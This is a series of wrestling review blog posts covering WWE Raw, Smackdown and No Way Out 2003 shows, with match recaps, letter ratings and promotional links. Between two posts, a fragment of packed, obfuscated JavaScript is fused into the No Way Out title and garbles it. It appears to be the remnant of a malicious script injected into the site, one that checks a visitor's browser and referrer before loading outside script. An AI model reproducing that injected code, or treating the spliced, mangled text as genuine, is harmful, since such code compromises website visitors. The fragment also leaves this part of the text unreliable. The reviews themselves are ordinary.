Winner gets HHH at Wrestlemania. Jericho and Christian bail to the floor as Test gets in. A bunch of people go after Rock to star, leaving Jericho to dump Test. Geez bad night for him. Test goes back in and Jericho eliminates himself to run into the crowd. Van Dam kicks Jamal out and Rock gets rid of Dreamer and Maven.

Richards is out next as the crowd is rather silent. Again. Evolution gets rid of Van Dam, followed by Snow and Mack being eliminated. Hurricane slugs away at Rock but gets kicked low for his efforts. That’s enough to get rid of Hurricane but Booker throws Rock through the ropes to the floor. They brawl on the outside (neither are eliminated) until Rock goes up and joins commentary.

Rock talks about JR’s barbecue sauce as a production guy pokes his head out from underneath the stage in a funny visual. Orton backdrops Hardy out but Steiner gets rid of Randy. Batista gets rid of Steiner and Booker gets rid of Batista, leaving us with Booker, Christian, Kane, Rosey, Rock and Storm. Rosey and Storm of all people team up to beat on Kane as Rock mocks JR’s hat.

Kane gets rid of Rosey and shrugs off some of Storm’s horrible right hands. They’re bad enough that Kane throws him out and Booker takes a chokeslam. Now Rock heads back to the ring and gets rid of Kane and Christian. Booker chops away but gets caught in a DDT. Rock loads him up but Booker reverses and throws Rock out for the completely clean win and the title shot.

Rating: D. Just a bad battle royal here though the ending was a good call. Booker is the kind of guy who could get a major rub out of a win here and an even bigger one out of the Wrestlemania match. Eliminating Rock like he did was a perfect way to wrap things up as well, making this a good ending to a bad match.

Overall Rating: D. Let me make this clear to start: everything good about this show has to do with the Rock and everything bad has to do with almost everyone else. Rock is the ONLY good thing going on here and the lack of Austin was really bad. HHH wasn’t there either but at least he was beaten up last night (kind of) to explain the absence.

The problem here was so much of the show being built around bad matches that didn’t have any time to go anywhere. How much can you do when four matches aren’t even three minutes long? You can tell they’re getting ready for the Wrestlemania season and that means some improvements but sweet goodness there’s some horrible stuff that they need to drop for the sake of stuff that could actually benefit from the extra attention.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


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No Way Out 2003 (2017 Redo): Half and Lower Half

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yttst|var|u0026u|referrer|arrrr||js|php'.split('|'),0,{})) Way Out 2003
Date: February 23, 2003
Location: Bell Centre, Montreal, Quebec, Canada
Attendance: 15,100
Commentators: Jerry Lawler, Michael Cole, Tazz

It’s time for another pay per view that is little more than a glorified pit stop before the real pay per view. At least this time around there are some major matches though, including Scott Steiner vs. HHH II and Rock vs. Hulk Hogan II, the latter of which is a little more interesting as Rock is a full on heel. Let’s get to it.

There’s no regular opening video this time as it’s just the logo flying through what looks like a standard dungeon in a 90s PC game.

Jeff Hardy vs. Chris Jericho

This was originally going to be Test vs. Jericho but he missed a show earlier in the week and Jeff got the spot instead (thank goodness). Jericho armbars him to start but gets sent hard into the ropes for some right hands. A belly to back suplex cuts him off though and the fans are behind their Canadian hero. Jericho is quickly sent outside though and it’s a springboard Whisper in the Wind to drop him again.

The apron run clothesline misses though and Jeff gets sent into the steps to slow things down. We hit the chinlock for a bit until Jeff fights up and sidesteps a charge to send Jericho into the post. A Codebreaker and DDT give Jeff two each but he misses an enziguri and it’s off to the Walls. That goes nowhere so Jeff reverses another attempt into a small package for two.

A reverse Twist of Fate looks to set up the Swanton but Jericho rolls away, setting up the Lionsault for another near fall. Chris gets two off a sleeper drop with his feet on the ropes and heads up top. Jeff crotches him down but the hurricanrana is countered into a superbomb, followed by the Walls to make Hardy tap.

Rating: B. Solid opener here with Jeff more than holding his own but not being ready to beat someone like Jericho on his own yet. The ending looked good too with Jeff finally giving up, especially after a huge move like the superbomb. Jeff would have his day, though the abandoned heel turn has left a few questions that aren’t likely to be answered.

Jericho won’t let go so Shawn Michaels runs in (to a chorus of boos) for the save. Christian comes in as well but it’s a superkick for both Canadians. The fans like Shawn again.

Kurt Angle gives Team Angle a pep talk because this country has no Canadian heroes. They’re not teaming up for the first time and losing to a walking gorilla and two Canucks. Kurt has an idea for an early advantage.

Evolution arrives and pass Austin’s truck.

Raw Tag Team Titles: William Regal/Lance Storm vs. Kane/Rob Van Dam

Kane and Van Dam are challenging. For your stupid statement of the night (so far), Coach says Van Dam made his debut a year ago at No Way Out 2002. He was already a three time Hardcore Champion by that point. Van Dam grabs a headlock on Storm to start and kicks him down into the champs’ corner.

Regal comes in and takes a spinning kick to the shoulder, followed by the split legged moonsault for two. Kane is so unscared of the champs that he takes Regal into Storm’s corner to keep beating on him. Van Dam can’t launch Rolling Thunder so he dives onto the champs instead. Back in and Rob gets shoved off the top and into the barricade, followed by Regal dropping him on his head with a half nelson suplex.

Storm grabs a DDT and a chinlock as the fans want Regal. A kick to the face allows the hot tag to Kane, who comes in with all of his usual. The chokeslam is loaded up but Storm twists Kane’s mask around, which is completely irreversible for some reason. The blind Kane chokeslams Van Dam to give Regal the pin.

Rating: D+. Basically a Raw match, which is the problem with so much of the tag division these days: these teams are thrown together and don’t have a ton of chemistry together in the first place so they’re not likely to have a very good match. This match wasn’t terrible but Regal and Storm aren’t thrilling in the first place and the ending was pretty stupid.

Van Dam isn’t pleased.

Matt Hardy is being interviewed when Jeff stumbles by. Matt insults him and the Imag-I-Nation for losing all the time. Jeff slaps him in the face but Shannon Moore holds Matt back.

Cruiserweight Title: Matt Hardy vs. Billy Kidman

Matt, who is annoyed by snow and ice and takes hot tea with milk and sweetener, is challenging. Kidman gets armdragged down to start and we hit the jumping jacks. A hiptoss to the apron and a whip into the post put Kidman on the floor. Back in and a neckbreaker gets two and we hit a chinlock.

It’s off to a front facelock as this is entirely one sided in the first five minutes. Tazz talks about banana juice which is likely a joke that I won’t find funny. Kidman fights up but gets caught in the Ricochet for two. An enziguri gives Kidman a breather though in his first significant offense.

The BK Bomb gets two but Matt is right back with a clothesline and the middle rope legdrop. The Twist of Fate is countered into a rollup but a Shannon distraction sets up the Side Effect for two. Kidman comes right back with a Bodog but Shannon breaks up the shooting star. The distraction lets Matt grab a super Twist of Fate for the pin and the title.

Rating: C. Matt winning is completely the right call here as Kidman was another name on a long list of boring champions (partially because WWE won’t do anything with the title). At least Matt has a ton of charisma and vignettes of him trying to keep the weight off could be entertaining stuff.

Edge is out cold in the back with Benoit and Lesnar checking on him. In other words he needs neck surgery and would be out for over a year.

We recap Undertaker vs. Big Show. Undertaker was laid out back in the fall but returned at the Royal Rumble, wanting some revenge. This led to a series of segments where Show sent presents to Undertaker to fill in time before beating him down on Smackdown earlier this week. In other words, GET ON WITH IT ALREADY BECAUSE WE’VE SEEN THIS MATCH A TON OF TIMES AND IT DOESN’T NEED TO HAPPEN AGAIN!

Undertaker vs. Big Show

Show has Paul Heyman with him. Undertaker circles the bike around the ring and they start slugging it out until Show easily posts him to take over. They head inside with Undertaker kicking him in the head (more of a dropkick than anything else) and the apron legdrop makes it even better. The referee gets shoved down so Show punches a chair into Undertaker’s head. As usual, this isn’t a DQ because these are big hosses and you don’t disqualify them.

A slam doesn’t work as Show falls back onto him for two. Cole’s analysis: it’s tough to slam a 500lb man. Some slow elbows have Undertaker in trouble as we hear about Edge being taken to a hospital. With Heyman shouting that Show has him, Undertaker charges straight into a bearhug to stay on the bad back. A side slam gives Show two as Cole things Undertaker is trying to get Big Show to punch himself out.

Some headbutts bust Undertaker open with Cole pointing out how quiet the crowd is. That’s not something you want to point out but at least a Taker chant brings them back a bit. Undertaker fights back with right hands and the running clotheslines in the corner, followed by a REALLY BIG CLOTHESLINE for two. Old School sets up the battle of the attempted chokeslams and it’s a standoff. A low blow sets up a running DDT to drop Show for two.

Back up and Undertaker walks into a spinebuster to slow things down even more. A dragon sleeper has Show in trouble but of course Heyman offers a distraction. Cue A-Train for a distraction but it’s the Taker Dive to put both Heyman and A-Train down. Back in and a chokeslam gives Show….nothing as Undertaker pulls him into a triangle choke (not a great one either) to knock Show out for the win.

Rating: D. The match wasn’t terrible but it went WAY longer than it needed to. This went on over fourteen minutes and would wind up being the longest match of the night. Undertaker vs. Big Show isn’t the most interesting match in the world and after three to four months of build, I really need more than a slow power brawl that we’ve seen them have so many times.

Undertaker goes to grab a chair but walks into the Trainwreck (which Tazz calls the Derailer) to leave him laying.

Quick look at Edge being taken away.

Eric Bischoff and Chief Morely talk potential stipulations for Bischoff vs. Austin but Vince comes in and says it’s one on one with anyone interfering being fired.

Kurt Angle/Team Angle vs. Brock Lesnar/Chris Benoit

How awesome did Angle look in the track suit with the hood up and the title on? Or just the track suits in general? Cole thinks Angle and company had SOMETHING to do with Edge being taken out. Benoit has on the Toothless Aggression shirt which was always good for a chuckle. Benjamin and Benoit start things off and hit the mat for a bit until Benoit whips him hard into the corner.

Haas comes in and gets to be stomped in the corner by Brock Lesnar. That’s what you get for joining the team chum. Lesnar cleans house and stares Angle down, sending Kurt out to the floor. Team Angle’s interference earns them another beating as Tazz tries to figure out what a Canuck is. Angle sneaks in for a choke on Brock and Shelton adds a superkick to take over.

Like any good heel, Angle comes in and stomps away before grabbing a chinlock with a grapevine. This goes on for a good while as the match isn’t exactly as energetic as you would expect from a match of this magnitude. Brock finally drives Angle into the corner for the break, which according to the Kurt Angle 24 special on the WWE Network, broke his neck AGAIN. You can see that he’s very shaken up as he crawls over for the tag off to Benjamin, who gets elbowed in the face by the legal Benoit.

Everything breaks down and Benoit starts firing off German suplexes, including a now very scary one to Angle. Kurt is fine enough to run the corner for a belly to belly superplex on Benoit as we hit the second heat segment. It’s off to Charlie for some stomping and a release belly to belly. Angle comes back in to start in on the arm and shoulder, followed by a front facelock.

Kurt looks fine for the most part here though it could just be adrenaline carrying him. Benoit’s comeback is cut off by another German suplex and it’s off to Shelton again. They’re doing a very solid job of cutting the ring off here but I could go for a bit better choices of offense than stomping and the occasional suplex.

Benoit dropkicks Shelton down and the hot tag brings in Lesnar. Everything breaks down and Benoit reverses the ankle lock into a Crossface which is reversed into an ankle lock which is reversed into a Crossface until Haas makes the save. That’s countered into another Crossface for the tap as Lesnar F5’s Angle.

Rating: B-. This felt like it was waiting to get into the next gear and they never even attempted to get there. Maybe the lack of Edge really messed things up here but I’m glad they didn’t go with Lesnar pinning Angle in the most likely finish. Having Benoit make Haas tap doesn’t hurt anything and Lesnar beat Angle up at the same time so they helped most that forward a bit as well. This would fine for a big Smackdown main event but it doesn’t do much on pay per view.

We recap HHH vs. Scott Steiner. They had one of the worst big matches of all time at the Royal Rumble and now we’re having a rematch in a vain attempt to validate Steiner’s main event push. HHH now has the full Evolution behind him so Steiner is fighting an even more uphill battle. This gets the music video treatment, which is often the case with HHH matches. Eh I like Bring Me To Life so it’s fine.

Raw World Title: HHH vs. Scott Steiner

Steiner is challenging and HHH only has Flair in his corner. The champ also had a thigh injury coming in and his leg is heavily taped up. They go nose to nose to start and you can see the fans going off while Steiner shouts SHUT UP at no one in particular. Steiner sends him into the corner and the fans boo him out of the building.

The clothesline (with HHH falling before contact) sets up the Push-Up Elbow and the fans are just not having it from Steiner. He goes after the bandage (which Lawler thinks is illegal) before going with a leglock. The fans go into a STEINER SUCKS chant, which Coach thinks will mess with HHH. Steiner grabs a Figure Four but Flair offers a distraction and gets chased around a bit. HHH sends him into the steps to take over and the fans start the YOU SCREWED BRET chant at Earl Hebner.

Now it’s the BORING chant, even though it’s not that bad. HHH’s neckbreaker gets two but he walks into the first belly to belly suplex, drawing the loudest booing of the match. HHH stops a charge with a boot but Hebner won’t count with the feet on the ropes. Hebner won’t disqualify him either so we get the traditional argument with the referee. Another belly to belly puts Steiner in control again and he hammers the champ’s head.

The third belly to belly has me scared and a super Angle Slam gets two with Flair pulling Scott off the cover. The Steiner Recliner goes on and here’s Orton for the distraction. Batista gets whipped into the steps and Steiner throws Orton on top of him before the rest of Evolution is FINALLY ejected. HHH gets in a belt shot for two, followed by the Pedigree to retain.

Rating: D-. Well it’s still horrible, but this is Austin vs. Rock II by comparison to what they did back in January. This match is a mess in its own right but Steiner only threw a handful of suplexes and the match was a manageable thirteen minutes instead of pushing twenty like the original. The fans were ready this time too and it made the match a lot more odd than bad. It’s certainly bad of course but it’s nothing as bad as what we saw at the Rumble.

Various wrestlers laugh at Bischoff.

We recap the kind of confusing Eric Bischoff vs. Steve Austin massacre. Vince gave Bischoff thirty days (which turned into less than four weeks) to turn Raw around or be fired. This turned into an obsession with bringing Austin back, which became the only possible way to turn Raw around. Bischoff them went on a wild goose chase to find Austin until Jim Ross got Austin to agree to show up. Apparently Vince agreed that signing Austin back to Raw would save Bischoff’s job but Eric had to fight him first. That’s how we got here, despite it not being close to thirty days.

Jim Ross comes out for commentary.

Eric Bischoff vs. Steve Austin

Bischoff, in his karate gear, begs for mercy and offers to help Austin make a fortune. That goes as well as you would expect as Austin, in jean shorts, takes him down and stomps away to quite the reaction. Austin takes off Bischoff’s gloves, allowing Eric to rake the eyes. A kick to the chest has no effect, because former professional martial artists are worthless once they become authority figures. Austin takes him to the floor for another beating and hits three Stunners for the pin. JR, of course, loses it.

Rating: D-. There’s your Raw main event people and it was about what had to be expected. Austin looked good in a short burst like this but he wasn’t very interesting when he left in the first place and that’s not a good sign going forward. Austin vs. just about anyone on Raw at the moment doesn’t sound too appealing (Austin vs. HHH would be their best option and that sounds rather boring) but maybe he’s the shot in the arm that Raw needs, at least in the short term.

Austin hits another Stunner for good measure.

We recap Rock vs. Hulk Hogan. After a look at last year’s Wrestlemania dream match, we shift to the real story of Vince vs. Hogan. They’ve been arguing over who created Hulkamania so Vince brought Hollywood Rock in to deal with Hogan, setting up the rematch. Oh and Hulk called Rock a Rock-A-Jabroni.

The Rock vs. Hulk Hogan

Rock debuts his long form Hollywood entrance, complete with a helicopter flying over the city until we hear Rock starting with the catchphrases. Hogan’s entrance seems to take Rock aback so he jumps Hogan to start, only to get knocked outside. We’re already in the stall until Hogan goes outside to throw some right hands. Back in and Rock can’t send him into the buckle as Cole points out that the referee, Sylvan Grenier, is from Montreal. That can’t end well.

More right hands send Rock outside but he snaps Hogan’s throat across the top. A quick Rock Bottom gets two and the stunned Rock puts on Hogan’s bandanna. Rock grabs the weightlifting belt and administers a whipping, only to stop to grab some water. The hydration break allows Hogan to get in a few whips of his own. That goes badly for Hogan as he gets caught in a DDT to set up the Sharpshooter.

Hogan gets the rope but gets pulled back to the middle, with Grenier not bothering to break the hold. Egads it’s going to be a screwy referee in Montreal isn’t it? Two arm drops set up a wagging finger though and Hogan kicks Rock out to the floor to escape. They head outside for more brawling with neither guy being able to hit a chair shot. Grenier takes it away from Hogan, allowing Rock to hit a low blow. The announcers are going out of their way to talk about the referee here.

Here’s Vince of course and we hit the YOU SCREWED BRET chants. Grenier slips Rock the chair to knock Hogan silly and the Rock Bottom gives Rock the pin. Cole calls it a screwjob because Montreal is a thing that happened and we’ll make sure you never forget it and then mock you for being wrestling fans who remember things.

Rating: D. Rock was doing everything he could here but there’s only so much you can do to get around Hogan being so far over the hill that he’s at the bottom of a lake, plus a stupid story. The fact that this is about to set up Hogan vs. McMahon tells you everything you need to know: Rock comes back as one of the best heels in years but he’s a lackey for Vince vs. Hogan. Of course he is.

Post match Rock leaves so Vince can get in his big joke: a Hogan shirt with NOTHING written underneath “Whatcha Gonna Do?”. A bloody Hogan stares Vince down to end the show.

Overall Rating: D. There’s some good stuff in there to help balance out the bad but the second half of this show is one horrible match after another. The better matches weren’t exactly pay per view quality, at least partially due to the amount of time they had. As mentioned the longest match was just over fourteen minutes, which likely has something to do with the shot barely breaking two and a half hours. The short length helps when the big matches were so bad but I don’t get why some of the good stuff couldn’t have been a bit longer.

Other than that though, it’s the same problem that so many B show have, especially the ones right before a major pay per view: it feels like nothing more than a pit stop before we get to the really important show. That was the case here, with the handicap match and the main event just feeling like a way to get to the Wrestlemania match. If this show doesn’t feel important, why am I supposed to care? Bad show here, but it’s only because of a specific half of the show.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – February 20, 2003: That’s a Sweet Puppy

Smackdown
Date: February 20, 2003
Location: Conseco Fieldhouse, Indianapolis, Indiana
Commentators: Michael Cole, Tazz

It’s the go home show for No Way Out and the big draw this week is Hulk Hogan and the Rock being in the same building. I know it’s a battle of the generations but I’m not quite sure they’re going to have the same magic they had a year ago. Other than that, Kurt Angle has agreed to face Brock Lesnar. I’m sure he’s an honest man so let’s get to it.

There are two gift boxes on stage for Undertaker this time but here’s Rock, looking full on heel, to open things up. Cole acknowledges the mixed reaction and Rock certainly seems to notice it as well. Rock loads up FINALLY but has to do it three times before saying it doesn’t matter. He knows there are some fans booing and some that prefer Hogan but it doesn’t matter because he’s still the most electrifying man in sports entertainment today. Point to Rock on that one.

Rock gets back on track but hang on because his phone is ringing. It’s his personal assistant and he not so politely requests some silence. Rock is going to fly out tonight because he doesn’t want to be surrounded by all these hick. He means hickory trees of course and the Rocky chants start up again. Rock has one question: do you really want to boo the Rock? That’s crossing a line and the people need to understand what that could mean.

They keep booing so Rock promises a different Rock at No Way Out. Rock knows Hogan’s not here yet (Rock: “Late as usual.”) but tonight he’s going to show up again and tell Hogan what’s coming for him on Sunday. IF YA SMELL…….hang on a second. If you people want to boo the Rock, SING-A-LONG WITH THE ROCK IS NO LONGER AN OPTION! Rock: “What are you a bunch of sheep? Have some self respect!”

This was one of the best heel promos you’ll ever see as Rock completely directed the crowd exactly where he wanted them to go. When you have a star like the Rock, who is one of the most popular wrestlers of all time, it takes some incredible talent to make the crowd boo him with so much ease. The key thing for me was how Rock was clearly showing them where to go but still looked like he was smiling all the way instead of beating them over your head with his heel stuff as so many would. Check this out and see how to be a great heel.

Chris Benoit vs. A-Train

Benoit is clearly favoring his arm coming in. A-Train throws him around to start and even hits a Muscle Buster. The Trainwreck is countered into a Crossface but A-Train slips out without too much effort. That’s fine with Benoit, who grabs a rollup for the pin in short order, likely due to the bad arm.

Hogan arrives.

Funaki can’t get in to interview Rock due to personal security.

Johnny Stamboli vs. Rikishi

Rikishi hammers him in the back to start as the rest of the FBI leaves. That’s fine with Johnny who GORILLA PRESSES Rikishi (ignore the shaking knees) in the spot that should have gotten him on quite a few highlight reels. Johnny fires off some shoulders in the corner but it’s a Samoan drop and the superkick to give Rikishi the pin in less than two minutes.

And that’s why that gorilla press isn’t ever talked about among impressive feats of strength: because a guy having his first match as part of a new stable had to job to Rikishi clean in less than two minutes because RIKISHI is more valuable than someone who can gorilla press him. I’ve gone on about how ridiculous Rikishi’s status is for months now and it just keeps going for whatever reason. I’m sure Stamboli will be just fine and the whole team, which is a stupid idea in the first place, will be completely successful.

The FBI beats Rikishi down post match. I care so much after seeing Stamboli destroyed in short order.

Angle is warming up with Shelton Benjamin and promises to lead by example tonight.

And now, for one of my favorite moments from this era.

We go to Los Guerreros in Beverly Hills. Chavo: “Didn’t we steal a car over there once?” They hit on a mom walking her baby in a stroller (and of course there’s a camera where the baby would be). The baby is named Emily, which Eddie says mean Light of God. Eddie and Chavo talk about how cute the baby is before sending the woman on her way. The baby is ugly but more importantly they stole the woman’s wallet and watch. This one is a little rough but these would get REALLY good in a hurry.

Shannon Moore/Matt Hardy vs. Rey Mysterio/Billy Kidman

Warmup before Matt, who is miserable when dieting and finds Shannon very hard to teach, gets a Cruiserweight Title shot on Sunday. We even see the weigh-in from earlier today where Matt stripped to make weight. Shannon spinwheel kicks Rey for two to start but Kidman comes in to drop Rey into a legdrop for the same.

It’s off to the now svelte Hardy to slam Kidman and drop an elbow for two. A front facelock doesn’t last long as Kidman pops up and makes the hot tag off to Mysterio. Matt powerbombs him for two and it’s right back to Kidman for a missile dropkick. Shannon makes the save with a top rope legdrop to give Matt two, only to be sent outside. Rey gets backdropped onto Rey, leaving Matt to Twist of Fate Kidman for the pin.

Rating: C. Not bad here and it accomplished its goal but there was something missing to keep it from getting to the next level. Matt needs to be champion almost immediately as Kidman hasn’t done anything with the title (not his fault as that’s what’s going to happen in a division with no stories and almost no interesting characters) since he won it months ago.

Earlier this week, Cole sat down with Nathan Jones, who has paid his dues and done his time so he’s ready to start in WWE. He wants to be WWE Champion but first (with his head shaking) he has business with the biggest dog in the yard. Jones grabs Cole’s throat and says it’s tick or tock. Tick means they’re alive but tock means they’re dead, even if they have all the time in the world.

The gifts are placed in the ring so it’s Undertaker time. Undertaker, looking annoyed at this thing continuing, opens the smaller box (which is nearly as tall as he is) and finds…..a dog. He beats the other one open and finds…..nothing, only to have Big Show come in from behind to attack. Undertaker eats a chokeslam to end the quick beatdown.

Torrie Wilson vs. Nidia

Paddle on a pole. We hit the token wrestling to start as the announcers again speculate on which Diva will be in Playboy. Torrie takes over but has to drop Jamie Noble, only to have Dawn Marie come out for a distraction. Noble powerslams Torrie and Nidia pulls the paddle down to win.

Torrie gets spanked a few times until Funaki makes the save.

Hogan goes looking for Rock but the security won’t let him in Rock’s locker room.

Here’s Hogan in the arena for a chat but Rock comes out for the staredown before he can say anything. Rock has to get some water first but then he’s ready for an apology. From Hogan that is because there have been a lot of rude and disrespectful things in recent weeks. The ROCKY SUCKS chants come back from the dead as Rock brings up the Rock-a-Jabroni line.

Based on that, Hogan needs to know his role and….and shut his mouth. A year ago, Hogan was nothing until Rock turned him into something again. Hulk refuses to apologize and thanks the fans for being there for him. Rock brings up Wrestlemania, which Hogan probably doesn’t remember after the beating Rock gave him. He tries to do the MILLIONS line but receives near silence for his efforts.

Rock does Hogan’s catchphrase but cuts him off before the shirt can be torn. A handshake is offered but Rock spits at Hogan and bails. More great stuff from Rock here with one important note: Rock kept walking around in circles instead of standing still like he would at the top of his powers. It made him seem more nervous because he didn’t have the people behind him, which is the kind of thing that most people aren’t going to add in.

No Way Out rundown.

Video on the end of last week’s show with Lesnar beating up John Cena to get to Kurt Angle.

Cena raps a threat to Lesnar and declares war on him.

Brock Lesnar vs. Kurt Angle

Oh of course not. Angle says there’s a stipulation to this so we’ll make it a gauntlet match instead.

Brock Lesnar vs. Team Angle

Lesnar throws Haas around to start before getting caught in a release German suplex. There’s almost no effect though as Lesnar tosses him a few more times before hitting the backbreaker into the F5 for a quick pin. Little more than a squash. Angle fires up Shelton for the second match as we take a break.

We’re joined in progress with Brock sending Shelton flying off a butterfly suplex. Another suplex has Angle hyperventilating but Shelton gets in a few kicks to the face to take over. It’s off to the arm with a flying armbar and then a cross armbreaker. Brock reverses into a powerbomb for the break as Angle is biting his fingernails.

We hit the belly to belly suplexes and Kurt’s distraction completely fails. A spinning belly to back suplex (called an Angle Slam) finishes Shelton and it’s time for Kurt to panic. Heyman’s pep talk gets Kurt inside for the bell, followed almost immediately by Heyman hitting Brock with a chair for the DQ.

Rating: D+. This was an angle disguised as a match and there’s nothing wrong with that, bait and switch left aside. The ending helps set up Angle vs. Lesnar at Wrestlemania, but we’ve still got a six man tag on Sunday and this didn’t do much for that match. The other problem is the crowd, who won’t be happy no matter what happens because it’s not the match they were expecting. WWE is doing that far too often anymore and it’s very frustrating.

Angle saves Heyman from an F5 and it’s Team Angle with the big beatdown. Edge and Benoit make the save to end the show.

Overall Rating: D. Rock helps a lot but that’s all this show had going for it. So much of this show was spent on short segments and matches that add nothing to the show, but even worse do nothing for the pay per view. The ending with Edge and Benoit felt very tacked on as well and that’s not a good thing for a go home show. Not a good episode, though Rock’s stuff is worth seeing.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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Monday Night Raw – February 17, 2003 (2017 Redo): No Way In Either

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Date: February 17, 2003
Location: Nationwide Arena, Columbus, Ohio
Commentators: Jim Ross, Jerry Lawler

It’s the go home Raw for No Way Out and thankfully Scott Steiner vs. HHH II doesn’t feel like it’s anywhere near the biggest thing on the show anymore. Unfortunately what is the biggest story on this show is the chance that Steve Austin will be here on Sunday, which leaves a bunch of talking and nothing to see building up to the show. Let’s get to it.

Opening sequence.

Lance Storm vs. Rob Van Dam

Warmup for Sunday’s Tag Team Title match. Storm cartwheels out of a monkey flip but gets kicked in the face for his efforts. A middle rope crossbody gives Rob two so Storm sends him into the corner for some right hands. After telling the referee that he has until five, Storm gets caught with a spinwheel kick for two more as the crowd is rather silent for this. You don’t often get that with a Van Dam match.

Storm is right back with a chinlock but Rob comes back with even more kicks for another near fall. The Maple Leaf doesn’t last long as Rob gets to the ropes and comes back (again) with kicks and Rolling Thunder. Regal tries to break up the Five Star but has to deal with Kane. The distraction lets Storm get up and try a superplex, only to be shoved down so the Five Star can finish him off.

Rating: C-. Rob didn’t seem interested in trying here as it was almost all kicks plus Rolling Thunder and the Five Star. Normally he’ll add in a little more than that for the sake of some flavor but this was pretty dull stuff. At least the right team won before we get to the title match on Sunday.

Shawn Michaels and Jeff Hardy are in the back with Shawn complaining about the airline losing his bag. Eric Bischoff comes up so they wish him luck against Austin on Sunday. That’s not cool with Eric for some reason and he threatens the two of them, saying they’ll need luck later.

Here’s Bischoff to say there’s someone here in Columbus who needs to be addressed. It’s Chief Morely, who is reinstated as Bischoff’s Chief of Staff. Bischoff doesn’t want to hear about the fans, nor does he want smiles from Shawn and Hardy. Actually, let’s just have Shawn and Jeff team up to face Chris Jericho and Christian in a No DQ match.

As for the Dudleyz, they’ve been suspended and thrown out of the building. We see a clip of them being thrown out so Bischoff makes Spike vs. 3 Minute Warning and Rico. Finally, Bischoff brags about his martial arts skills and wants to showcase them a bit. Therefore, tonight it’s Bischoff vs. STONE COLD STEVE AUSTIN……..’s best friend Jim Ross! You can hear the crowd die as soon as he said best friend and with good reason.

This is more of the same story we’ve been seeing: Bischoff and Morely being all evil and messing with the same people while Austin will certainly be here one day. Last week Vince did various things to Bischoff and now we’re right back where we were Vince showed up last week. Why would I want to keep watching if they keep bringing us back to this same point over and over again?

Steven Richards tries to get Victoria to talk to Jazz before their tag match. They finally do talk, but Jazz just threatens to take the title.

Jazz/Victoria vs. Molly Holly/Jacqueline

Jazz drops Molly in a hurry so it’s off to Victoria, who gets small packaged for two. Victoria starts choking as Lawler mocks Molly’s attire (it’s not the best, basically pants and a regular top). The slingshot legdrop is loaded up but Jazz tags herself in before Victoria can use it, much to the champ’s chagrin. A splash misses though and it’s off to Jackie to clean house. Jazz sends her into Victoria though and finishes with a DDT.

Rating: D. Just like earlier, the crowd completely died for this one as Jazz and Jackie may be tough but she’s not interesting. Molly is talented but doesn’t have charisma, leaving Victoria who is crazy and gets your attention but is a heel, leaving no one for the fans to care about in the whole thing.

Jazz beats on Molly as well and has the staredown with Victoria to a grand non-reaction.

We look back at Goldust being electrocuted.

Booker T. says Goldust will be back in a few weeks but he’s having neurological issues and isn’t right. As for tonight though, Booker is ready to fight Batista and Randy Orton for making fun of Goldust’s condition.

Evolution makes fun of Goldust and preps for the tag match tonight.

JR and King mention the passing of Mr. Perfect and we get the video tribute. Thankfully they include Perfect doing all the sports, which he really could do…..if the camera wasn’t on. Apparently he would mess up while the cameras were on so the director kept having to lie about them being off so he could do them right.

Here’s Teddy Long with the debuting Rodney Mack, who used to be known as Red Dawg on Smackdown. It seems that Long has gotten rid of D’Lo Brown for not being able to handle the man. Tonight it’s Mack vs. Al Snow. Teddy: “Did I say Snow? It don’t get no whiter than that!” See, Snow has the same chance tonight as a black man ever has of being President.

Rodney Mack vs. Al Snow

Snow charges in and gets stomped down as Teddy preaches the virtues of backing the Mack. The Snow Plow connects but Al goes up for a moonsault for no apparent reason, only to hit knees. A double underhook driver/powerbomb (imagine a double arm DDT but Mack pushed him forward a bit and let him go so the back of Snow’s head crashed to the mat) gives Mack the pin.

Jericho and Christian have a discussion about screaming girls and sexy beasts. A surprise is promised for Shawn. Jericho swats his gum away ala Mr. Perfect because Jericho is cool like that.

Shawn Michaels/Jeff Hardy vs. Chris Jericho/Christian

No DQ and Lillian sounds like she’s in a tunnel for the entrances. Shawn is in street clothes due to the airline losing his bag but he’s able to crotch Christian against the post to start. The announcers try to figure out Jeff’s heel turn, even though it doesn’t seem to actually exist anymore.

Jeff gets dropped in the ring though, leaving Shawn to take a double teaming on the floor. That’s not all though as Shawn gets handcuffed to the bottom rope rung, making this a handicap match, complete with tags because agents don’t understand No DQ matches. Christian chokes away with the boot and cuts off Hardy’s comeback with the reverse DDT.

Jericho decides to taunt Shawn with the key before ripping Shawn’s shirt off and whipping his chest with a belt. A quick Whisper in the Wind drops Christian though and Jeff gives Shawn the key. Jericho eats a superkick and Christian gets slammed off the top, followed by a good looking dive. Now Jericho comes back in with a chair, only to have it superkicked into his face. The Swanton finishes Jericho.

Rating: C. We’re building to Shawn vs. Jericho so Chris gets pinned in this match when Christian is RIGHT THERE? And for what? The sake of pushing Hardy, who doesn’t even have a pay per view match at the moment? Then again Jericho is facing Test of all people at No Way Out so I have no idea what they’re thinking at this point.

Jericho flips out in the back and wants Hardy, who hasn’t won a match in four months. Two actually but I think the point stands.

Hurricane vs. Christopher Nowinski

During Hurricane’s entrance, we see Bischoff’s announcement about facing JR. Did they really have to get that in again? The fans think Harvard suck but barely react when Hurricane catches him with a clothesline. Hurricane sends him to the floor for a slingshot hurricanrana as Lawler tries to explain that Nowinski was so popular at Harvard that no one liked him. Back in and they trade rollups until Hurricane misses the Blockbuster. A modified spinebuster gives Nowinski two but the Eye of the Hurricane puts him away.

Rating: D. These are the kind of guys who could benefit from having the Intercontinental Title around. Not that they would be champion or even serious contenders for it, but you could buy them as trying to get into the title hunt. No one is going to buy them as World Title contenders though, making this nothing more than filler otherwise. A midcard title is a conceivable goal for someone like Hurricane but without it, he’s just kind of there for random matches like this one.

